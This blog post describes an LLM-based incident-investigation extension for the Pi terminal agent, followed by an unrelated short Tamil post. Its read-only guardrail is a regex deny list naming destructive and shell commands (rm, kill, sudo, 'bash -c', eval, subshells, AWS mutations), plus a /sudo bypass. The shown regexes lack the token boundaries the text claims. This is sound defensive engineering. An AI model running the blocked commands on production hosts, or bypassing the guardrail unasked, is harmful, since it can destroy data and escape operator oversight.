<h2 id="the-predecessor-llmduck">The Predecessor: llmduck<a class="zola-anchor" href="#the-predecessor-llmduck" aria-label="Anchor link for: the-predecessor-llmduck">#</a></h2>
<p>Before <code>pi-sre-mode</code>, I had a system called <code>llmduck</code>. It went through several rewrites – first in Go, then partially in Rust, and finally as a full TypeScript web application with a server (LLM orchestration, session persistence, WebSocket dispatch), a remote agent (command execution on production hosts with policy enforcement), and a React frontend with a split-panel investigation UI.</p>
<p>The agent had one tool: <code>bash</code>. All infrastructure interaction happened through CLIs – metrics, logs, scheduler state, cloud APIs, SSH. The LLM decided what to run, the agent executed it, and the server tracked the conversation. An SRE methodology skill guided the model through a structured investigation loop: triage, scope, gather evidence across metrics/logs/scheduling, correlate, conclude.</p>
<p>It worked. Give the model good operational guidance and read-only access to the right CLIs, and it can do a lot of the mechanical data gathering that normally burns 20-40 minutes during an incident. It can compare scheduler restarts with metric trends. It can correlate a failing backend with a cloud autoscaling event. It can notice that one host is missing metrics entirely and that the “healthy” cluster is only healthy because the remaining nodes are absorbing the load.</p>
<p>But the runtime was increasingly the wrong abstraction.</p>
<p>I had a custom server, a custom agent, a custom frontend, custom registries for skills and templates, custom session persistence, and a CI pipeline to build and deploy it all. The upstream/wrapper two-repo design – where the generic product lived on GitHub and the org-specific overlay was rsynced into it during build – still meant I was maintaining a bespoke investigation platform.</p>
<p>The more I worked on it, the more obvious it became: <strong>the content was the product. The runtime was plumbing.</strong></p>
<p>The skills, the prompts, the methodology, the failure pattern library, the runbooks, the templates – that was where the value lived. Everything else was infrastructure I was maintaining just to get those skills into an LLM session.</p>
<h2 id="why-pi">Why Pi<a class="zola-anchor" href="#why-pi" aria-label="Anchor link for: why-pi">#</a></h2>
<p>I did not want another chat app. I wanted the investigation to live where I already work: in the terminal, next to the real tools. Pi gave me that, and the specific SDK primitives it exposes turned out to map almost 1:1 to what I had been building by hand in llmduck.</p>
<p>A session looks like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>/check-connectors</span></span>
<span class="giallo-l"><span>/incident</span></span>
<span class="giallo-l"><span>investigate elevated p99 latency for payments-api, start with a timeline</span></span>
<span class="giallo-l"><span>/report</span></span></code></pre>
<p><code>/incident</code> is an interactive wizard – pick a template, name the service, set a time window.</p>
<p><img src="https://mrkaran.dev/images/pi-sre-investigate.png" alt="The /incident wizard showing template selection" /></p>
<ul>
<li><code>/check-connectors</code> – verifies your infrastructure CLIs are reachable</li>
<li><code>/report</code> – generates a structured postmortem from the investigation</li>
<li><code>/sudo</code> – temporarily bypasses the read-only guardrails</li>
</ul>
<h2 id="how-it-works">How It Works<a class="zola-anchor" href="#how-it-works" aria-label="Anchor link for: how-it-works">#</a></h2>
<p>Pi extensions are TypeScript modules that receive an <code>ExtensionAPI</code> object – hooks into the agent lifecycle, slash commands, session state, shell execution, UI primitives, and an inter-extension event bus. The whole extension is one file and the rest is markdown.</p>
<p>The SDK has a few primitives that matter here:</p>
<h3 id="carrying-context-across-the-conversation">Carrying context across the conversation<a class="zola-anchor" href="#carrying-context-across-the-conversation" aria-label="Anchor link for: carrying-context-across-the-conversation">#</a></h3>
<p>The <code>before_agent_start</code> hook fires before every agent turn. The extension builds a context block from the current incident state and appends it to the system prompt:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="typescript"><span class="giallo-l"><span>pi</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">on</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">before_agent_start</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  return</span><span> {</span><span> systemPrompt</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">${</span><span>event</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span>systemPrompt</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">${</span><span>incidentContext</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> }</span><span>;</span></span>
<span class="giallo-l"><span>}</span><span>)</span><span>;</span></span></code></pre>
<p>Template, service name, time window, guardrail posture, overlay guidance, preferred skills – all injected automatically. You do not need to keep re-explaining “payments API, last 2 hours, high latency, read-only.” It follows you.</p>
<h3 id="blocking-mutations-before-they-execute">Blocking mutations before they execute<a class="zola-anchor" href="#blocking-mutations-before-they-execute" aria-label="Anchor link for: blocking-mutations-before-they-execute">#</a></h3>
<p>The <code>tool_call</code> hook intercepts every tool invocation before execution:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="typescript"><span class="giallo-l"><span>pi</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">on</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">tool_call</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> async</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> reason</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> getGuardrailBlockReason</span><span>(</span><span>event</span><span>.</span><span>toolName</span><span>,</span><span> event</span><span>.</span><span>input</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  if</span><span> (</span><span>reason</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> return</span><span> {</span><span> block</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>,</span><span> reason</span><span> }</span><span>;</span></span>
<span class="giallo-l"><span>}</span><span>)</span><span>;</span></span></code></pre>
<p>The guardrail implementation is regex-based with token boundary detection:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="typescript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> BLOCKED_PATTERNS</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">sudo blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">rm</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">file deletion blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">kill</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">pkill</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">killall</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">process termination blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">bash</span><span style="color: light-dark(#005CC5, #6CB6FF);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#032F62, #96D0FF);">-c</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">sh</span><span style="color: light-dark(#005CC5, #6CB6FF);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#032F62, #96D0FF);">-c</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">zsh</span><span style="color: light-dark(#005CC5, #6CB6FF);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#032F62, #96D0FF);">-c</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">shell trampoline blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">eval</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">eval blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#22863A, #8DDB8C);font-weight: bold;">\$</span><span style="color: light-dark(#22863A, #8DDB8C);font-weight: bold;">\(</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">subshell blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">systemctl</span><span style="color: light-dark(#005CC5, #6CB6FF);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#032F62, #96D0FF);">(</span><span style="color: light-dark(#032F62, #96D0FF);">restart</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">stop</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">start</span><span style="color: light-dark(#032F62, #96D0FF);">)</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span><span> reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">systemctl mutation blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>  {</span><span> pattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">aws</span><span style="color: light-dark(#005CC5, #6CB6FF);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#005CC5, #6CB6FF);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#032F62, #96D0FF);">(</span><span style="color: light-dark(#032F62, #96D0FF);">create</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">delete</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">update</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">put</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">run</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">start</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">stop</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">terminate</span><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#032F62, #96D0FF);">reboot</span><span style="color: light-dark(#032F62, #96D0FF);">)</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span>,</span></span>
<span class="giallo-l"><span>    reason</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">AWS mutation blocked</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>]</span><span>;</span></span></code></pre>
<p>The token boundary prevents false positives – <code>remove</code> does not match the <code>rm</code> rule. The <code>write</code> and <code>edit</code> tools are unconditionally blocked. <code>/sudo</code> disables this when needed.</p>
<h3 id="persisting-incident-state">Persisting incident state<a class="zola-anchor" href="#persisting-incident-state" aria-label="Anchor link for: persisting-incident-state">#</a></h3>
<p>Pi sessions are tree-structured – you can fork, navigate branches, switch contexts. Incident state is persisted as append-only entries:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="typescript"><span class="giallo-l"><span>pi</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">appendEntry</span><span>&lt;</span><span style="color: light-dark(#6F42C1, #F69D50);">IncidentModeState</span><span>&gt;</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">incident-mode-state</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> state</span><span>)</span><span>;</span></span></code></pre>
<p>The extension hooks into <code>session_tree</code> and <code>session_fork</code> events to carry incident state across branches automatically. If you fork to explore a side hypothesis, the incident context comes with you.</p>
<h3 id="commands-and-ui">Commands and UI<a class="zola-anchor" href="#commands-and-ui" aria-label="Anchor link for: commands-and-ui">#</a></h3>
<p><code>pi.registerCommand()</code> handles slash commands. The <code>/incident</code> wizard uses <code>ctx.ui.select()</code> and <code>ctx.ui.input()</code> for interactive setup – template selection, service name, time window. <code>pi.exec()</code> runs shell commands for connector checks.</p>
<h3 id="inter-extension-events">Inter-extension events<a class="zola-anchor" href="#inter-extension-events" aria-label="Anchor link for: inter-extension-events">#</a></h3>
<p>Pi has an in-process event bus (<code>pi.events</code>) for cross-package communication – same JS runtime, no network, just pub/sub between extensions loaded from different npm packages. The base package subscribes to a channel, the overlay emits to it at session start. The decoupling is at the import level, not the process level. More on this below.</p>
<h2 id="templates-and-skills">Templates and Skills<a class="zola-anchor" href="#templates-and-skills" aria-label="Anchor link for: templates-and-skills">#</a></h2>
<p>Most incidents fall into a handful of patterns – 5xx spike, high latency, OOM crash loop, deploy regression, service down. Each pattern has a different starting point: for latency you want percentile breakdowns and dependency response times first; for OOMs you want restart history and memory growth; for a deploy regression you want a before/after comparison.</p>
<p>Templates encode that. When you pick “High Latency” in the <code>/incident</code> wizard, the system prompt gets a focused directive: check p50/p95/p99, look for saturation signals, check upstream dependencies, identify whether queueing is involved. The model starts in the right place instead of flailing. You can also skip the wizard entirely – <code>/incident-5xx payments-api last 2h</code> sets up the investigation directly.</p>
<p>The investigation methodology itself lives in skills – markdown files that get loaded into context:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="markdown"><span class="giallo-l"><span>---</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> s</span><span style="color: light-dark(#032F62, #96D0FF);">re-methodology</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">a</span><span style="color: light-dark(#22863A, #8DDB8C);">llowed-tools</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">ead</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> B</span><span style="color: light-dark(#032F62, #96D0FF);">ash</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> G</span><span style="color: light-dark(#032F62, #96D0FF);">rep</span><span>]</span></span>
<span class="giallo-l"><span>---</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);font-weight: bold;">##</span><span style="color: light-dark(#005CC5, #6CB6FF);font-weight: bold;"> Core Loop</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">1.</span><span style="font-weight: bold;"> **</span><span style="font-weight: bold;">Observe</span><span style="font-weight: bold;">**</span><span>: Gather data. Metrics, logs, scheduler state.</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">2.</span><span style="font-weight: bold;"> **</span><span style="font-weight: bold;">Hypothesize</span><span style="font-weight: bold;">**</span><span>: Form a theory from the evidence.</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">3.</span><span style="font-weight: bold;"> **</span><span style="font-weight: bold;">Test</span><span style="font-weight: bold;">**</span><span>: Run a specific query that would confirm or disprove.</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">4.</span><span style="font-weight: bold;"> **</span><span style="font-weight: bold;">Evaluate</span><span style="font-weight: bold;">**</span><span>: Did the evidence match? Adjust and repeat.</span></span></code></pre>
<p>The base package includes two skills: an observe-hypothesize-test-evaluate loop with first principles (evidence over speculation, build timeline before concluding, the loudest symptom is often downstream), and a concrete investigation playbook (scope the blast radius, check recent changes, follow the service path from edge to dependency, narrow using the template focus).</p>
<p>Without the methodology, the model tends to jump to conclusions or fixate on the noisiest symptom. With it, investigations are more systematic.</p>
<h2 id="the-overlay-system">The Overlay System<a class="zola-anchor" href="#the-overlay-system" aria-label="Anchor link for: the-overlay-system">#</a></h2>
<p>The public package is intentionally generic. The real leverage comes from <strong>overlays</strong> – private Pi packages that layer org-specific knowledge on top.</p>
<p>An overlay is a separate Pi package that emits an event at session start. The base package picks it up and merges it into the active configuration – templates, connector checks, skills, timezone hints, report output paths:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="typescript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span style="color: light-dark(#D73A49, #F47067);"> default</span><span style="color: light-dark(#D73A49, #F47067);"> function</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> myOrgOverlay</span><span style="color: light-dark(#24292E, #F69D50);">(</span><span style="color: light-dark(#E36209, #F69D50);">pi</span><span style="color: light-dark(#D73A49, #F47067);">:</span><span style="color: light-dark(#6F42C1, #F69D50);"> ExtensionAPI</span><span style="color: light-dark(#24292E, #F69D50);">)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> overlay</span><span style="color: light-dark(#D73A49, #F47067);">:</span><span style="color: light-dark(#6F42C1, #F69D50);"> IncidentOverlay</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    id</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">my-org</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>    priority</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 100</span><span>,</span></span>
<span class="giallo-l"><span>    timezoneHint</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">IST (UTC+5:30); metrics are UTC, logs are IST.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>    reportPathPattern</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">rca/{{date}}-{{slug}}.md</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>    defaultSkills</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">org-sre-methodology</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span>    promptPreamble</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Use org service topology, strict timezone handling...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>    connectorChecks</span><span>:</span><span> [</span><span style="color: light-dark(#6A737D, #768390);"> /*</span><span style="color: light-dark(#6A737D, #768390);"> ... </span><span style="color: light-dark(#6A737D, #768390);">*/</span><span> ]</span><span>,</span></span>
<span class="giallo-l"><span>    templates</span><span>:</span><span> [</span><span style="color: light-dark(#6A737D, #768390);"> /*</span><span style="color: light-dark(#6A737D, #768390);"> ... </span><span style="color: light-dark(#6A737D, #768390);">*/</span><span> ]</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  pi</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">on</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">session_start</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> (</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> {</span></span>
<span class="giallo-l"><span>    pi</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">emit</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">incident-mode:register-overlay</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> overlay</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>  }</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Templates merge by ID (overlay wins). Skills are deduplicated. Prompt preambles stack across overlays.</p>
<h3 id="what-an-overlay-adds">What an Overlay Adds<a class="zola-anchor" href="#what-an-overlay-adds" aria-label="Anchor link for: what-an-overlay-adds">#</a></h3>
<p>At work, my private overlay adds investigation templates tied to specific services and a few thousand lines of operational knowledge as skills – how to query our metrics stack, how to read our logs, how to interpret scheduler state, and how to write the postmortem.</p>
<p>The interesting part is what those skills encode. Not just CLI syntax, but the gotchas you learn the hard way: timezone mismatches between tools, CPU metrics that mean something different depending on allocation config, log columns that don’t exist where you’d expect them, query patterns that accidentally match unrelated data. A failure pattern library teaches the model to recognize cascading failures, throughput cliffs (silence often means blocked, not recovered), and the difference between a root cause and a downstream symptom.</p>
<p>This is the kind of institutional knowledge that normally lives in someone’s head or a stale wiki page. Encoding it as skills means it gets applied consistently during every investigation.</p>
<p>Every team has different tools, naming conventions, auth assumptions, and definitions of “normal.” Mix that into the base package and you either leak private knowledge or make the tool unusably abstract. The overlay keeps them cleanly separated.</p>
<h2 id="what-the-llm-is-actually-good-at">What the LLM Is Actually Good At<a class="zola-anchor" href="#what-the-llm-is-actually-good-at" aria-label="Anchor link for: what-the-llm-is-actually-good-at">#</a></h2>
<p>This is not an “AI will run your ops team” post. The model does not do triage or make mitigation calls. What it does well is the stuff that eats wall-clock time:</p>
<h3 id="gathering-and-cross-referencing-evidence">Gathering and cross-referencing evidence<a class="zola-anchor" href="#gathering-and-cross-referencing-evidence" aria-label="Anchor link for: gathering-and-cross-referencing-evidence">#</a></h3>
<p>The model does not stop at “good enough.” If you ask it to investigate a latency spike, it will check p50/p95/p99, break it down per node, compare against the pre-deploy baseline, look at upstream dependency latency, check if the error rate moved with it, and then go look at logs for the time window where the percentiles diverged.</p>
<h3 id="building-timelines-from-messy-evidence">Building timelines from messy evidence<a class="zola-anchor" href="#building-timelines-from-messy-evidence" aria-label="Anchor link for: building-timelines-from-messy-evidence">#</a></h3>
<p>The model is good at stitching together outputs from different tools – logs in IST, metrics in UTC, a deploy at some offset, a scheduler restart in the middle, a cloud instance termination, a queue backup two minutes later – into a coherent narrative. It can produce a first-pass timeline like “memory growth started after deploy X, restart happened 14 minutes later, error rate rose only on one node, autoscaling replaced the sick instance, and downstream proxy alerts were a secondary symptom” faster than I can by hand.</p>
<h3 id="producing-a-first-draft-of-the-postmortem">Producing a first draft of the postmortem<a class="zola-anchor" href="#producing-a-first-draft-of-the-postmortem" aria-label="Anchor link for: producing-a-first-draft-of-the-postmortem">#</a></h3>
<p>The postmortem is hardest to write right after the incident, precisely when it is most valuable. If the investigation happened inside Pi, <code>/report</code> turns the conversation into a structured markdown RCA draft immediately – timeline, 5 Whys, impact, action items. That alone saves a lot of the “I’ll write the postmortem tomorrow” drift.</p>
<h3 id="keeping-the-investigation-disciplined">Keeping the investigation disciplined<a class="zola-anchor" href="#keeping-the-investigation-disciplined" aria-label="Anchor link for: keeping-the-investigation-disciplined">#</a></h3>
<p>The methodology skills help the model stay in evidence-first mode: observe before hypothesizing, build a timeline before concluding, distinguish cause from effect, state uncertainty explicitly, say when a connector is missing instead of guessing. Without this, the model tends to fixate on the noisiest symptom. With it, investigations follow an observe-hypothesize-test-evaluate loop.</p>
<h2 id="where-it-still-fails">Where It Still Fails<a class="zola-anchor" href="#where-it-still-fails" aria-label="Anchor link for: where-it-still-fails">#</a></h2>
<h3 id="guardrails-are-not-a-sandbox">Guardrails are not a sandbox<a class="zola-anchor" href="#guardrails-are-not-a-sandbox" aria-label="Anchor link for: guardrails-are-not-a-sandbox">#</a></h3>
<p>The read-only protections are operational guardrails, not security boundaries. They catch accidental mutations during investigation, but they are regex patterns – not a sandbox. The real defense is least-privilege at the infrastructure level: an AWS IAM role scoped to read-only, a metrics API token without write access, an SSH key that can only reach jump hosts. If the credentials the agent has cannot mutate anything, it does not matter if a guardrail regex gets bypassed.</p>
<h3 id="the-model-can-still-hallucinate">The model can still hallucinate<a class="zola-anchor" href="#the-model-can-still-hallucinate" aria-label="Anchor link for: the-model-can-still-hallucinate">#</a></h3>
<p>It will sometimes invent a metric name, over-index on a noisy symptom, or keep running commands when the evidence is already sufficient. Good skills help but do not make it reliable enough to trust unattended.</p>
<h2 id="the-bigger-lesson">The Bigger Lesson<a class="zola-anchor" href="#the-bigger-lesson" aria-label="Anchor link for: the-bigger-lesson">#</a></h2>
<p>I spent weeks building and rebuilding a custom agent platform. Rewrote it twice in different languages. All plumbing. The things that actually made the investigations good were:</p>
<ul>
<li>the SRE methodology skill that encoded how to think about incidents</li>
<li>the failure pattern library that taught the model to recognize cascade failures and throughput cliffs</li>
<li>the per-tool skills that encoded gotchas like “that CPU metric means something different in a cgroup” and “silence in the logs means blocked, not recovered”</li>
<li>the templates that seeded the investigation direction</li>
<li>the guardrails that kept the model from accidentally mutating production</li>
</ul>
<p>All of those are markdown files and a few dozen regex patterns. I kept building runtime to deliver content. Once I had a platform that could host markdown skills and intercept tool calls, the custom stack had no reason to exist.</p>
<p>The code is at <a rel="external" href="https://github.com/mr-karan/pi-sre-mode">github.com/mr-karan/pi-sre-mode</a>.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[எங்கும் மரக்கன்றுகள்]]></title>
            <link>https://programmerlife1.wordpress.com/2026/03/08/eengum-marakkanrugal/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2026/03/08/eengum-marakkanrugal/</guid>
            <pubDate>Sun, 08 Mar 2026 18:00:43 GMT</pubDate>
            <description><![CDATA[ஒரு மரக்கன்று வழங்கும் நிகழ்வில் இருக்கும் மரக்கன்றுகள் என்னை பார்த்து கேட்டன. சும்மாதானே நிற்கிறாய்! எங்களில் ஒருவரை எடுத்து செல் என்றது. மரக்கன்றுகளை வளர்க்க மனமிருக்கிறது ஆனால் வீட்டில் இடமில்லை என்று எவ்வாறு அவைகளுக்கு நான் புரியவைப்பேன்! .]]></description>
